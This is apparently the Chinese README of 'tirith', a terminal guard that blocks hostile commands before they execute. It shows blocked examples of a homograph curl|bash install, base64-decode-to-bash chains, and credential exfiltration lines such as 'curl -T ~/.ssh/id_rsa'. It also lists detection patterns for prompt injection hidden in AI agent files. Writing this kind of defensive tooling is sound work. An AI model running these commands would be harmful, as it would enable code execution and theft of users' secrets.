你做不到。你的终端也做不到。两个`і`字符都是西里尔字母（U+0456），而非拉丁字母`i`。第二个URL解析到攻击者的服务器。脚本在你注意到之前就执行了。

浏览器多年前就解决了这个问题。终端仍然不加质疑地渲染Unicode、ANSI转义序列和不可见字符。AI代理执行shell命令和安装包时不会检查其中内容。

**Tirith 守卫着大门。** 它在命令、粘贴内容和扫描的文件执行之前，拦截同形词URL、混淆payload、凭证窃取、恶意AI技能/配置，以及来自签名威胁情报数据库的已知恶意包/域名/IP。```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` 会自动检测你当前的 shell（它会检查父进程，并在需要时回退到 `$SHELL`）。仅当你想要覆盖检测结果时，才需要使用显式的 `--shell` 标志。

就是这样。你运行的每个命令现在都受到保护。对干净输入零摩擦。亚毫秒级开销。你几乎忘了它的存在，直到它拯救你。

也可通过 [npm](#跨平台)、[cargo](#跨平台)、[mise](#跨平台)、[apt/dnf](#Linux包) 以及 [更多方式](#安装) 获取。

---

## 查看运行效果

**同形攻击，在执行前被阻止：**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

警告输出到stderr。命令仍然运行。

**Base64 解码执行链，已阻止：**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

涵盖所有 curl/wget 上传标志、环境变量（`$AWS_SECRET_ACCESS_KEY`）以及命令替换。

**恶意技能文件，扫描时捕获：**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nothing. Zero output. You forget tirith is running.

---

## 它能捕获什么

**34 个类别下的 221 条检测规则。**

| 类别 | 阻止的内容 |
|----------|--------------|
| **同形字攻击** | 主机名中的西里尔/希腊语相似字、Punycode 域名、混合脚本标签、相似 TLD、易混淆域名、文本级易混淆检测（数学字母数字、同词混合脚本） |
| **终端注入** | ANSI 转义序列、双向覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择器、韩文填充字符 |
| **隐写防御** | 不可见空白编码（12 种 Unicode 空格变体）、蒙古语元音分隔符、韩文填充字符、数学字母数字替换、对 st3gg 风格文本隐写的防御 |
| **管道到 shell** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)` 以及所有源到接收器模式 |
| **Base64 解码执行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、通过 sudo/env 封装器的解码链 |
| **数据外泄** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、环境变量上传（`$AWS_SECRET_ACCESS_KEY`）、命令替换外泄 |
| **代码文件扫描** | 混淆载荷（`eval(atob(...))`）、动态代码执行（`exec(b64decode(...))`）、JS/Python 文件中通过 `fetch`/`requests.post` 的密钥外泄 |
| **凭据检测** | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块，以及基于熵的通用秘密检测 |
| **入侵后行为** | 进程内存抓取（`/proc/*/mem`）、Docker 远程提权、凭据文件扫描，已针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| **命令安全** | dotfile 覆盖、敏感路径的归档提取、云元数据端点访问、私有网络访问 |
| **不安全传输** | 明文 HTTP 管道到 shell、`curl -k`、禁用 TLS 验证、缩短 URL 隐藏目的地址 |
| **环境** | 代理劫持、敏感环境变量导出、通过环境变量注入代码、解释器劫持、通过环境变量的 shell 注入 |
| **配置文件安全** | 配置注入、可疑指示器、配置文件中的非 ASCII/不可见 Unicode、MCP 服务器安全性（不安全/不受信任/重复/宽松） |
| **生态威胁** | Git 克隆形近词、不受信任的 Docker 注册表、pip/npm URL 安装、Web3 RPC 端点、未配置 vet |
| **安装命令安全** | 通过管道下载添加的 APT 仓库、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`（禁用签名检查）、针对原始/缩短远程清单的 `kubectl apply -f`、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、来自任意 URL 的 `brew install`/`tap` |
| **路径分析** | 非 ASCII 路径、路径中的同形字、双重编码 |
| **渲染内容** | 隐藏 CSS/颜色内容、隐藏 HTML 属性、注释内容分析（高威胁提示注入，中威胁破坏性命令） |
| **伪装检测** | 服务器端伪装（机器人 vs 浏览器）、剪贴板隐藏内容、PDF 隐藏文本 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defender 排除项（`Add-MpPreference -Exclusion*`）、内联 `iex (iwr ...)` 下载执行 |
| **终端输出防御** | OSC 52 剪贴板写入、假提示符、OSC 8 超链接和标题/清屏操作、命令或 MCP 工具输出中的提示注入（同时扫描原始和解混淆版本，因此不可见字符、易混淆字符、空格分隔、混淆语、短 base64/hex 规避也会被捕获），以及输出数据外泄（信标 URL 或“读取秘密然后发送”指令） |
| **操作上下文** | 针对标记为生产环境的云/k8s 上下文和 SSH 主机的破坏性命令、Terraform/Pulumi/OpenTofu `apply` 时未匹配已保存计划、危险的 sudo 提权、特权 `docker run` |
| **工作站与持久化** | 权限过松的凭据文件与明文令牌（`~/.ssh`、`~/.aws`、`.npmrc`）、持久化据点（shell rc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`）、PATH 劫持顺序、可执行文件来源、危险别名以及敏感环境变量生命周期 |
| **爆炸半径与关联** | 逃逸仓库的删除、批量删除、执行来自危险源下载的文件、以及会话链如写入秘密后访问网络或删除后 `git push --force` |
| **信任、证明与来源** | 签名命令卡不匹配、蜜罐金丝雀令牌接触、粘贴来源主机不匹配、调用者来源（代理）策略拒绝、MCP 锁文件漂移、以及 AI 配置与已知安全快照的差异 |

---

## tirith 不能防御什么

Tirith 分析命令、粘贴文本和文件的**结构**，然后才允许执行。它是一个执行前阀门，而非运行时防御，因此不包括：

- **运行时沙箱隔离：** tirith 发出警告或阻止；它不会对运行中的命令进行沙箱隔离或隔离。
- **执行后网络监控：** 进程启动后在网络上的行为不在范围内。
- **恶意软件/载荷检测：** tirith 分析结构，而非载荷行为。它不是反病毒软件，不执行诱饵或签名匹配。（`tirith run` 检查下载脚本的结构，但仍不是恶意软件分析。）
- **特权 root/管理员攻击者：** 已经是 root 或 admin 的人可以轻易绕过 tirith。它防御被欺骗的输入，而非已经控制机器的攻击者。
- **反调试/反篡改：** tirith 不抵抗逆向工程，也不保护自身二进制文件不受本地攻击者攻击。

参见 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) 了解完整威胁模型和明确的非目标。

---

## 已知限制

- **Shell 钩子脆弱性：** 保护依赖于 shell 钩子的持续安装和激活。钩子可能在不同 shell、shell 版本、提示框架和历史工具中失效或静默降级。运行 `tirith doctor` 检查实时状态并关注仅警告的降级情况。
- **仅 Unix 功能：** 守护模式、`tirith setup`、`tirith run` 和 `tirith fetch` 目前仅适用于 Unix。
- **包名提取范围：** 涵盖语言生态系统（pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle），不包括发行版包管理器（`apt`、`dnf`、`yum`、`pacman`）。
- **AI 代理注意事项：** shell 钩子拦截仅保护通过挂钩交互式 shell 执行的命令。代理如果生成非交互式 shell、直接调用 `exec` 或在未加载钩子时运行，则不受保护。MCP 保护是建议性的（代理必须调用 tirith MCP 工具），而非强制执行。

---

## 威胁情报

Tirith 附带一个签名的本地威胁数据库，用于包、主机名和 IP 信誉。当 shell 钩子或 `tirith check` 发现包安装或可疑基础设施引用时，会先于命令执行前将输入与数据库进行匹配，而非仅依赖静态启发式。

**签名数据库**（CI 每日构建，下载和加载时验证）：

- 来自 [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 和 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) 的已知恶意包
- 来自 [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch) 的恶意 IP 基础设施
- 来自 [ecosyste.ms](https://ecosyste.ms/) 的已确认形近词和流行包基线
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 目录用于运行时建议关联

**可选补充数据源**（用户本地覆盖）：

- 通过 abuse.ch 认证密钥获取的 [URLhaus](https://urlhaus.abuse.ch/) 和 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/) (Cisco Talos) 和 [Phishing Army](https://phishing.army/) 黑名单
- 来自 [Tor Project](https://www.torproject.org/) 的 Tor 出口节点列表

**可选的实时富化**（在 `tirith check` 和守护模式期间）：

- [OSV.dev](https://osv.dev/) 建议查询 (Google OSS)
- [deps.dev](https://deps.dev/) 包健康信号 (Google OSS) 和 [ecosyste.ms](https://ecosyste.ms/) 维护者数据
- 使用您自己的 API 密钥的 [Google Safe Browsing](https://safebrowsing.google.com/) URL 信誉```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**默认离线。** 未指定标志时，所有信号均为本地信号，不进行网络调用：(1) **名称与流行包对比**：已知流行、未知，或与流行名称仅差一个编辑距离（经典的域名抢注/低质量抢注形态），来自本地威胁数据库的 `popular` 集合；(2) **已知恶意域名抢注**：与威胁数据库 `typosquat` 索引完全匹配；(3) **安装/生命周期脚本** 和 (4) **捆绑的二进制文件**，仅在本地可获得包内容时（位于 `node_modules` / `site-packages` 下，或通过 `--path` 指定）进行检测。tirith **从不下载** 该包。

**`--online` 添加注册表溯源。** 它查询包的注册表（npm、PyPI 或 crates.io），获取 *相同* 因子求和模型中的另外六个因子：包/版本年龄、无所有者的已建立包、异常版本激增、下载量极低、源代码仓库缺失以及已弃用/废弃状态。这是唯一涉及网络的路径（绝不触及 `check` 热路径）；`--offline` / `TIRITH_OFFLINE` 强制离线，无论其他设置如何。失败时会回退到离线评分，并诚实地显示 `api signals: unavailable`，同时响应会以 TTL 进行缓存，以避免重复运行时对注册表造成压力。

该评分是建议性的且独立的：`package risk` 不是检测规则，不会改变任何判决、退出码或审计日志。

### 生态系统扫描，供应链防火墙

`tirith ecosystem scan [path]` 是 `package risk` 的目录级配套工具。它遍历项目，发现其理解的所有依赖清单，包括 npm（`package.json`、`package-lock.json`）、Python（`requirements*.txt`、`pyproject.toml`）、Rust（`Cargo.toml`）、Go（`go.mod`）、Ruby（`Gemfile`），并使用相同的确定性 `package_risk` 因子引擎对 **每个声明的依赖项** 进行评分。```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

### 隐藏内容检测

检测对人类不可见但AI可读的内容，涵盖HTML、Markdown和PDF：

- **CSS隐藏**：`display:none`、`visibility:hidden`、`opacity:0`、`font-size:0`、屏幕外定位
- **颜色隐藏**：白底白字文本、相似前景/背景（对比度 < 1.5:1）
- **HTML/Markdown注释**：提示注入短语（高）、破坏性命令如 `rm -rf` 或 `curl|bash`（中）、隐藏指令的长注释（低）
- **PDF隐藏文本**：亚像素渲染文本（字号 < 1px），对阅读器不可见但LLM可解析

### AI相关文件隐藏内容扫描

`tirith scan` 也会检查AI编码代理（或渲染器）读取并采取行动的文件类型，寻找**绕过人工审查者**的隐藏内容。正常的笔记本、包含可见指令的普通 `CLAUDE.md` 文件、简单的SVG图像都会保持干净，只有隐藏/走私的内容触发警报。

- **Jupyter笔记本**（`*.ipynb`）：单元格源代码中的不可见/双向/零宽度字符、嵌入源代码中的base64编码blob、从渲染视图中隐藏的单元格（`metadata.jupyter.source_hidden` / `hide_input` 标签），以及携带不可见字符或活动/隐藏HTML的单元格*输出*
- **AI代理指令文件**（`CLAUDE.md`、`AGENTS.md`、`.cursorrules` 等）：仅*隐藏*指令：位于HTML注释内（在渲染后的Markdown中不可见）或视觉隐藏的HTML元素中的指令。这些文件合法包含可见指令，因此普通可见指令从不触发警报
- **SVG图像**（`*.svg`）：嵌入的 `<script>`、内联 `on*` 事件处理程序、`javascript:` URI、远程 `xlink:href` / `href`，或XXE外部实体声明

### 伪装检测

`tirith fetch` 比较6个用户代理（Chrome、ClaudeBot、ChatGPT-User、PerplexityBot、Googlebot、curl）的服务器响应，以检测服务器是否为AI机器人提供与浏览器不同的内容。

---

## 操作上下文与工作站防护

除单个命令外，几个命令组将门控扩展到您的操作上下文和工作站状态。触及热路径的命令需主动启用（通过策略标志）；其余命令按需运行。

**操作上下文**（`tirith context`、`ssh`、`iac`、`sudo`）。一次性标记您生产环境的云/Kubernetes上下文和SSH主机，tirith将升级关键操作：针对标记为生产环境的上下文的破坏性命令、针对标记为生产环境的主机的SSH、没有匹配已保存计划的Terraform/Pulumi/OpenTofu `apply`，或没有合理会话窗口的sudo提权。标签存储在 `~/.config/tirith/context-labels.yaml` 和 `ssh-host-labels.yaml`（或仓库作用域下的 `.tirith/`）。

**工作站卫生**（`tirith hygiene`、`persistence`、`aliases`、`env`、`exec`、`path`、`hooks`）。扫描权限过松的凭证文件和明文令牌（`~/.ssh`、`~/.aws`、`~/.kube`、`.npmrc`、`.pypirc`），对比攻击者可能使用的持久化后门（shell rc、`authorized_keys`、crontab、LaunchAgents/systemd用户单元、git `core.hooksPath`），标记掩盖关键命令或读取凭证的别名，审计 `$PATH` 防止劫持顺序，并报告二进制文件的来源（包所有者、代码签名、是否掩盖系统命令）。

**爆炸半径与隔离**（`tirith preview`、`watch`、`temp-run`、`taint`、`intend`、`baseline`）。在运行破坏性命令之前预览其文件系统影响，在运行后比较实际变化，在临时目录中运行不受信任的命令，并跟踪从风险来源下载的文件，以便后续执行时触发发现。`temp-run` 仅更改工作目录；属于文件隔离，而非沙箱。

## 信任、证明与事件响应

- **命令证明**（`tirith command-card`）使用ed25519密钥对已知良好命令进行签名；不匹配的可信卡触发高警报。
- **仓库命令清单**（`tirith commands`）是一个 `.tirith/commands.yaml` 白名单，可为已清理的命令消除未知命令提示，并添加一个仅用于提升权限的 `dangerous[]` 列表（可收紧判定，绝不削弱）。
- **蜜令令牌**（`tirith canary`）放置明确伪造的蜜令令牌；任何检查的命令、粘贴或工具输出中触及该令牌都会触发高警报。检测基于本地存储查找，而非形状匹配。
- **密钥轮换**（`tirith secret`）从审核日志读取最近的凭证发现，并为11个提供商打印特定于提供商的轮换/撤销步骤。它本身从不轮换任何内容，也不进行网络调用。
- **事件模式**（`tirith incident`）声明“受攻击”状态：强制 `fail_mode: closed`，禁用 `TIRITH=0` 绕过，并提升凭证扫描、解码执行和可疑二进制规则的严重性，直到您停止该模式。

## 输出、粘贴与共享安全

- **输出方向防御**（`tirith view`、`tirith output`、`gateway run --filter-output`、`mcp-server --sanitize-tool-output`）消除命令和MCP工具输出中的终端欺骗转义：OSC 52剪贴板写入、虚假提示、OSC 8超链接不匹配以及标题/清屏操作。它还扫描输出中的提示注入（原始和去混淆形式）以及数据泄露信标。使用 `injection_seeds_custom` 添加自定义种子，并选择将仅包含注入的MCP块编辑为警告（而不是阻止整个输出），使用 `mcp_redact_injection`。
- **受众感知编辑**（`tirith share`、`tirith redact`、`tirith logs`）在您粘贴到GitHub问题、Slack、LLM或公共粘贴板之前，去除密钥和客户/租户ID。
- **粘贴溯源**（`tirith paste --with-source`、`tirith browser`）。在安装配套的Chrome原生消息主机后，tirith将粘贴的命令归因于其来源页面，并标记来源主机与命令运行主机不同的粘贴。

---

## 安装

### macOS

**Homebrew：**```bash
brew install tirith

**Fedora / RHEL / CentOS 9+ (.rpm):**

从 [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) 下载，然后：```bash
sudo dnf install ./tirith-*.rpm

**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

然后激活shell钩子到`~/.bashrc` (Termux的默认shell是bash):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

**Chocolatey** (审核中, 等待批准):```powershell
choco install tirith

**Cargo:**```bash
cargo install tirith

**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

### 激活

添加到你的 shell 配置文件（`.zshrc`、`.bashrc` 或 `config.fish`）：```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

### 更新和验证 tirith

tirith 可以验证自身的完整性并自我更新。这两个命令仅在运行时才会访问网络。```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

### AI Agent 集成

使用 `tirith setup <tool>` 实现一键配置：```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

同样可作为**pre-commit钩子**使用：请参阅此仓库中的 `.pre-commit-hooks.yaml`。

Scan支持`--include`、`--exclude`、`--profile`（从策略加载命名配置文件）和`--ignore`过滤器，用于针对性CI扫描。

### 规则文档```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

它将对管道到shell的操作重写为下载-审查-运行模式，移除不安全的TLS标志（`-k` / `--insecure` / `--no-check-certificate`），并将纯文本的 `http://` 切换为 `https://`。对于没有安全机械重写方式的发现项（同形异义主机名、归档提取目标等），它会明确说明并显示补救措施，而不会发出虚假建议。该标志为建议性标志：它既不改变判定结果，也不改变退出代码。

### 守护进程模式 (Unix)

用于亚毫秒级延迟和网络感知增强的可选后台进程（短链接解析，DNS 黑名单检查）：```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` 接受 `--template <name>` 参数，用于一个精选的初始策略：```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

使用 `allowlist_rules` 进行规则级抑制：当你信任某个来源遵循某一条规则，但不想将其全局加入白名单时，可使用此方法。```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

每个条目的 **scope** 被分类为 `exact`、`substring`、`domain`、`wildcard` 或 `bare-TLD`。宽泛的范围（`domain` / `wildcard` / `bare-TLD`）需要 `--broad`，因此广泛的允许始终是一个有意的选择。所有子命令都支持 `--format json`。由旧版本 tirith 写入的信任存储保持正常工作，没有 TTL 的条目被视为永久有效。

### 升级和操作覆盖

警告按会话进行跟踪。如果同一规则重复触发，升级规则可以升级为阻止：```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

On shell exit, a one-line summary is printed if any warnings were recorded during the session.

More examples in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).

### Custom detection rules

Author your own rules in `.tirith/policy.yaml` under `custom_rules:`. Each rule is either a `pattern:` (regex) or a `when:` semantic predicate tree, plus a `context:` (`exec`, `paste`, or `file`), a `severity:`, and a `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### 更多策略控制

其他策略键均具有安全默认值（`tirith policy init` 会写入完整的注释版本）：

- `package_policy:` 阈值将供应链信号转换为阻止或警告判定（`block_typosquat_distance`、`warn_low_downloads_below`、`block_newer_than_days`、`block_not_found`）。
- `agent_rules:` `allow:` / `deny:` 匹配命令的调用方来源（`{ kind, name }`）；`deny` 匹配会强制阻止。`scan.trusted_mcp_servers` 和 `scan.mcp_allowed_tools` 接受特定的 MCP 服务器及每个服务器对应的工具。
- 可选保护开关，默认关闭：`env_guard_enabled`、`exec_guard_enabled`、`hooks_guard_enabled`、`baseline_enabled`，以及 `iac_require_plan_before_apply`、`sudo_require_reason` 和 `allowed_install_domains`。

仓库范围的 `.tirith/policy.yaml` 文件只能收紧策略，不可放宽：试图扩大白名单、降低严重性等级或禁用保护开关的仓库策略会被无效化，`tirith policy effective` 会显示被丢弃的字段。只有用户级和组织级（`TIRITH_POLICY_ROOT`）策略才能放松默认值。

### 严格警告模式

启用 `strict_warn: true`（或通过 CLI 使用 `--strict-warn`）时，中等风险发现将在交互式终端中提示用户明确确认，而非静默发出警告：```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

这是一个标准的shell单命令前缀；该变量仅对该单个命令生效，不会保留在您的会话中。组织可以通过在策略中设置 `allowbypass_env: false` 来完全禁用它。

> [!CAUTION]
> `TIRITH=0` 是单命令级别的。请勿在 shell 配置文件、dotfiles 或 CI 配置中导出它；永久绕过会破坏整个防护模型。如果您发现自己频繁使用它，应将受信任的来源添加到策略文件中的 `allowlist` 中。

---

## 数据处理

本地 JSONL 审计日志位于 `~/.local/share/tirith/log.jsonl`：
- 时间戳、会话 ID、操作、规则 ID、经过脱敏处理的命令预览
- 原始检测数据（`raw_action`、`raw_rule_ids`）与强制执行的操作一同保留，用于覆盖审计
- 会话警告状态位于 `~/.local/state/tirith/sessions/`
- **不**保存完整命令、环境变量或文件内容

禁用：`export TIRITH_LOG=0`

---

## 文档

- [命令参考](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md)：所有子命令，按类别分组
- [威胁模型](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md)：tirith 防御的内容及其不防御的内容
- [操作手册](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md)：常见场景的策略示例
- [故障排除](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md)：Shell 特性、延迟、误报
- [兼容性](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md)：稳定接口与实验接口
- [安全策略](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md)：漏洞报告
- [卸载指南](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md)：按 Shell 和包管理器进行干净卸载

功能指南：

- [Agent 治理](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md)（调用者来源归属和 `agent_rules`）
- [MCP 输出过滤器](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md)（网关和 MCP 输出净化合约）
- [诊断模式](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md)（完整 vs `--quick`，以及 JSON 快照模式）
- [LSP 和编辑器配置](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md)（内联编辑器诊断）
- [浏览器原生消息传递](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md)（剪贴板来源主机和扩展）
- [粘贴来源](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md)（`paste_source_mismatch` 规则）
- [蜜令格式](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md)（合成蜜令牌格式）
- [提示集成](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md)（将 `tirith prompt-status` 接入 Shell 提示符）

## 许可证

**核心安全覆盖在开源树中提供。** 所有 221 条检测规则和 MCP 服务器均可从源代码获取。存储库中仍包含遗留的许可和策略服务器代码路径，因此请勿假定每个运行时路径都已免除层级。

tirith 采用双重许可：

- **AGPL-3.0-only**：[LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL)，根据 Copyleft 条款免费使用
- **商业许可**：[LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL)，如果 AGPL 的 Copyleft 义务不适用于您的用例，请联系 [email protected] 获取替代许可

第三方数据归属见 [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE)。

## 星标历史

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)